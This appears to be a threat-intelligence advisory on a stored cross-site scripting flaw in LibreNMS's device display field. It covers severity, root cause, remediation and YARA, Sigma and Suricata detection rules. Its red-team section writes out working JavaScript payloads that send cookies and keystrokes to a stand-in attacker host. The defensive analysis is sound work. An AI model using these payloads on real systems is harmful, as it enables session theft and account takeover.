CVE-2025-23198

Executive Summary

CVE-2025-23198 is a stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, an open-source network monitoring platform. The flaw resides in the device edit page (/device/$DEVICE_ID/edit), where the display parameter is not properly sanitized. An authenticated attacker with device editing privileges can inject arbitrary JavaScript code. When an administrator or other user views the affected device page, the injected script executes in their browser session, potentially leading to session hijacking, data exfiltration, or unauthorized actions. The vulnerability affects all versions prior to 24.11.0. The CVSS score is 4.6 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei templates are available at this time.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application code. Users should verify the integrity of their LibreNMS installation by checking the SHA-256 hash of the downloaded release against the official repository. The patch is included in version 24.11.0, which can be obtained from the official GitHub releases page.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.6 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid account with device editing permissions.
• User Interaction (UI): Required (R) – The victim must view the maliciously crafted device page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure is possible.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the risk, but the stored nature of the XSS means that any user viewing the page is affected.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the LibreNMS web interface. The display parameter on the device edit page (/device/$DEVICE_ID/edit) is used to set a custom display name for a device. This input is not sanitized or encoded before being stored in the database and later rendered on the device overview page.

Attack Flow:

1. An authenticated attacker with device editing privileges navigates to /device/$DEVICE_ID/edit.
2. The attacker sets the display parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When any user (including administrators) views the device page, the stored payload is rendered in the HTML without proper encoding.
5. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the user, or exfiltrate data.

Root Cause: The application fails to apply output encoding or input validation on the display parameter. The fix in version 24.11.0 likely involves HTML entity encoding or using a templating engine that auto-escapes output.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-24.11.0):

// In a view or controller, the display value is output directly
echo "<h1>" . $device->display . "</h1>";

Patched Code (24.11.0+):

// The display value is HTML-encoded before output
echo "<h1>" . htmlspecialchars($device->display, ENT_QUOTES, 'UTF-8') . "</h1>";

The patch uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid LibreNMS account with device editing privileges.
• Network access to the LibreNMS web interface.

Exploitation Steps:

1. Log in to LibreNMS with the attacker account.
2. Navigate to a device edit page: /device/1/edit (replace 1 with a valid device ID).
3. In the display field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the device.
5. Wait for an administrator or other user to view the device page. The script will execute and send the victim's cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Detection & Mitigation)

Detection:

• Monitor web application logs for suspicious display parameter values containing <script> or other HTML tags.
• Use a Web Application Firewall (WAF) to block common XSS patterns in the display parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Upgrade to LibreNMS version 24.11.0 or later immediately.
• If upgrade is not possible, restrict device editing permissions to trusted users only.
• Manually sanitize the display parameter in the database using a script.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the LibreNMS server.
  • Suspicious display parameter values in HTTP POST requests to /device/*/edit.
• Host IOCs:
  • Unusual entries in the devices table of the LibreNMS database where the display column contains HTML/JavaScript.
  • Web server logs showing requests to /device/*/edit with display parameter containing <script> tags.
• File IOCs:
  • Modified LibreNMS source files (if attacker gained code execution).

Detection Engineering

YARA Rule

rule CVE_2025_23198_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS display parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23198"
    strings:
        $xss_payload = /<script[\s>]/ nocase
        $xss_onerror = /onerror\s*=/ nocase
        $xss_onload = /onload\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-23198 LibreNMS Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in LibreNMS via the display parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/device/'
        cs-uri-query|contains: '/edit'
        cs-uri-query|contains: 'display='
        cs-uri-query|re: 'display=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in display names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-23198 LibreNMS Stored XSS Payload in display Parameter";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/device/";
    http_uri;
    content:"/edit";
    http_uri;
    content:"display=";
    http_client_body;
    pcre:"/display=.*<script/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2025-23198;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 24.11.0 or later.
2. If upgrade is not possible, restrict device editing permissions to a minimal set of trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in the display parameter.

Long-Term Measures:

• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workarounds:

• No official workarounds are available. The only fix is to upgrade.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.